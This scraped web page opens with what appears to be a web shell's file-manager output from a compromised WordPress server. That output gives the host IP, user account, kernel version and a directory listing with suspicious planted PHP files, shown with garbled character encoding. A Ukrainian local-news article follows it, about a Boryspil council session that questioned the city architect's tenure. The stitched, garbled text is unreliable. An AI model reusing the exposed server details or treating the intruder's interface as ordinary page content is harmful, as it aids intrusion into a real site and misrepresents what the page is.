195.16.88.9 - Linux - whoami(krist287) - uid(1574) gid(1676)
kaylin

·

ϴΪ
ϼĿ¼ʱ޸ʱ
_.well-knownɾ 07552022-07-26 20:57:462022-04-19 08:48:45-
_ldɾ 07552022-07-26 20:55:402022-04-18 21:30:13-
_puɾ 07552022-08-12 22:04:542022-08-12 22:04:54-
doskaɾ 07552022-07-26 20:57:462022-05-13 00:21:36-
gboɾ 07552022-07-26 20:55:422022-04-21 16:29:19-
katalogɾ 07552022-07-26 20:55:422022-05-13 00:20:58-
nailɾ 07552022-07-26 20:55:502022-06-17 13:21:44-
testɾ 07552022-07-26 20:55:422022-04-18 15:34:19-
wakenɾ 07552022-08-11 02:53:342022-08-11 02:53:34-
wp-adminɾ 07552022-08-11 06:04:242022-08-11 06:04:24-
wp-contentɾ 07552022-08-14 08:39:232022-08-14 08:39:23-
wp-includesɾ 07552022-07-26 20:55:502022-04-18 17:42:24-
.htaccess 04442022-08-11 06:04:352022-08-11 06:04:3521.22 K
Damiendep 06442022-08-11 03:43:202022-08-11 03:43:209.20 K
backup.php 06442022-08-13 13:42:572022-08-13 13:42:57772 B
fibber.php 06442022-08-11 01:48:402022-08-11 01:48:4016.68 K
google5f28cd50ed83a936.html 06442022-07-26 20:55:422022-04-24 10:15:3853 B
index.php 04442022-08-14 08:39:332022-04-18 20:09:526.33 K
license.txt 06442022-07-26 20:57:462022-04-18 20:09:5219.45 K
readme.html 06442022-07-26 20:55:502022-04-18 20:10:487.26 K
robots.txt 06442022-08-11 03:34:222022-08-11 03:34:22193 B
tmp.php 06442022-08-13 13:44:442022-08-13 13:44:44761 B
wp-activate.php 06442022-08-14 07:55:592022-04-18 20:09:527.00 K
wp-blog-header.php 06442022-08-14 07:56:052022-04-18 20:09:52351 B
wp-comments-post.php 06442022-07-26 20:55:502022-04-18 20:10:362.28 K
wp-config-sample.php 06442022-07-26 20:55:392022-04-18 20:10:482.93 K
wp-config.php 06442022-08-14 03:19:342022-04-18 20:09:523.69 K
wp-cron.php 06442022-08-14 08:38:432022-04-18 20:09:523.85 K
wp-links-opml.php 06442022-08-14 01:23:122022-04-18 20:09:522.44 K
wp-load.php 06442022-08-14 01:22:322022-04-18 20:09:523.81 K
wp-login.php 06442022-08-14 08:34:552022-04-18 20:09:5246.79 K
wp-mail.php 06442022-08-14 01:22:402022-04-18 20:09:528.38 K
wp-settings.php 06442022-07-26 20:55:502022-04-18 20:10:3622.49 K
wp-signup.php 06442022-08-14 01:22:492022-04-18 20:09:5231.21 K
wp-trackback.php 06442022-08-14 01:23:042022-04-18 20:09:524.64 K
wp.php 06442022-08-11 01:49:212022-08-11 01:49:21453 B
xmlrpc.php 06442022-08-14 08:37:042022-04-18 20:09:523.16 K
Ŀ¼[12] - ļ[25] - [0755]
Linux sr47.hostlife.net 3.10.0-962.3.2.lve1.5.49.el6h.x86_64 #1 SMP Thu Mar 4 07:40:03 EST 2021 x86_64
Apache/2
Бориспіль ледь не залишився без архітектора – Це Бориспіль – сайт міста Бориспіль
loader image
- Юна Українка подарувала Бориспільським кінологам «крилату конячку» яка виконує бажання. Днями, співробітники Кінологічного центру поліції Борисполя, які разом із ЗСУ та ТРО боронять рубежі Броварів, отримали цінний подарунок. Про це повідомляє прес-служба Кінологічного центру поліції в Київській області. Для наших відважних воїнів юна українка намалювала ліс, мирне небо та крилату конячку. За словами художниці, лоша здатне виконувати бажання. Варто лише доторкнутися до нього та подумати про те, чого хочеться найбільше. Картину юної мисткині передали на місце дислокації оборонців Берегині-волонтерки, які вже тривалий час докладають надлюдських зусиль аби забезпечувати воїнів усім необхідним. За бажанням авторки витвір потрапив саме до поліцейських кінологів. -
Меню Закрити

Бориспіль ледь не залишився без архітектора

/ 5. оценок:

Оценок пока нет. Поставьте оценку первым.

На засіданні позачергової сесії Бориспільської міської ради було поставлено під сумнів доцільність перебування на посаді начальника управління містобудування і архітектури Мирослави Шкребтієнко. Для декого із присутніх це стало неочікуваною і шокуючою новиною, а дехто сприйняв її досить спокійно, мабуть, володіючи більшим об’ємом інформації, ніж інші.

Ініціював це питання депутат міської ради Анатолій Пасічний, який розпочав свій виступ із низки зауважень до роботи міської архітектури. Зокрема, до відома усіх присутніх він довів інформацію про те, що протягом півтора року на нарадах у міського голови він порушував питання про те, щоб був розроблений єдиний порядок розриття вулиць міста.

У вересні 2008 року, за його словами, керівництвом міста було вирішено видати таке розпорядження, але пройшло ось уже скільки часу, а справа далі цієї обіцянки не просунулася.

Анатолій Пасічний звинуватив головного архітектора у тому, що вона не підготувала це розпорядження, не виконавши таким чином доручення мера. А при зустрічі із депутатом на його зауваження відповіла, що такої вказівки не чула і взагалі повідомила, що така робота не входить до її функцій. Висловив депутат своє незадоволення і міськими зупинками, які встановлюються зараз по місту. А відтак, підсумовуючи сказане, попросив поставити на голосування питання доцільності перебування на посаді начальника управління архітектури і містобудування Мирослави Шкребтієнко.

Така пропозиція Анатолія Пасічного для депутатів стала неочікуваною. Депутат Дмитро Соляков поправив колегу у тому, що архітектура питанням перериття доріг не займається. Ними «опікується» комунгосп. А для того, щоб порушити питання доцільності перебування на цій посаді головного архітектора, потрібно заслухати звіти керівника про свою роботу.

Приймати ж будь-які рішення без слухання звіту головного архітектора було б некоректним і неправомірним. Депутати вирішили повернутися до порушеного питання вже з початку нового року.

За коментарем ситуації, що виникла на позачерговому засіданні сесії міської ради, кореспондент звернулася безпосередньо до головного міського архітектора Мирослави Шкребтієнко:

«У нас у місті є комунальне підприємство, яке утримує дороги – ВУКГ, а займається безпосередньо ремонтом доріг ЖРЕУ, проектування ж документації на дороги, кураторство і фінансування цих робіт у деякій мірі належить до компетенції управління житлово-комунального господарства. Питання перериття доріг не належить до тих, які вирішує управління містобудування і архітектури.

Наше управління лише перевіряє при видачі ордерів наявність проектної документації, відповідність її усім вимогам, погодження із відповідними службами.

На мою думку, інформація про те, що архітектура не хоче нічого робити щодо питання розриття доріг у місті, яка була озвучена на засіданні сесії, є не зовсім об’єктивною, тому що свої пропозиції щодо розриття доріг на початку минулого тижня я подала на розгляд міського голови. Але перед тим намагалася не один раз зібрати керівників цих комунальних підприємств, щоб прийняти спільне рішення, але, на жаль, дійти згоди ми так і не змогли. Тому голові я і подала пропозиції виключно від архітектури».

Переглядів:: 1
Share on facebook
Share on telegram
Share on twitter
guest
0 коментарiв
Межтекстовые Отзывы
Посмотреть все комментарии
Авторизація
*
*
Генерація паролю
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x
()
x